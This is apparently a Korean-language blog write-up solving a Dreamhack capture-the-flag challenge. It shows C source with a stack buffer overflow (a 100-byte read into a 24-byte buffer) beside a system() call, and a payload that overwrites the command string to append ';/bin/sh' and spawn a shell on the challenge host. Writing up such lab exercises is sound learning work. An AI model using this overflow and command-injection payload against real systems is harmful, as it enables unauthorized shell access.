Command Injection 이용한 문제이다.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
소스 코드를 보면, center_name에서 오버플로우를 일으켜서 cmd_ip를 덮어쓰고 /bin/sh까지 실행하면 된다.
ida로 보면 center_name은 rbp-130h cmd_ip는 rbp-110h에 저장된다. 0x20만큼 더미 값을 넣어준 후 ifconfig;/bin/sh를 추가하면 쉘을 얻을 수 있다.
nc host1.dreamhack.games 14714
Center name: 0123456789abcdef0123456789abcdefifconfig;/bin/sh
'system hacking > dreamhack(드림핵)' 카테고리의 다른 글
validator (0) | 2022.05.29 |
---|---|
sint (0) | 2022.05.19 |
tcache_dup2 (0) | 2022.05.16 |
tcache_dup (0) | 2022.05.16 |
Tcache Poisoning (0) | 2022.05.13 |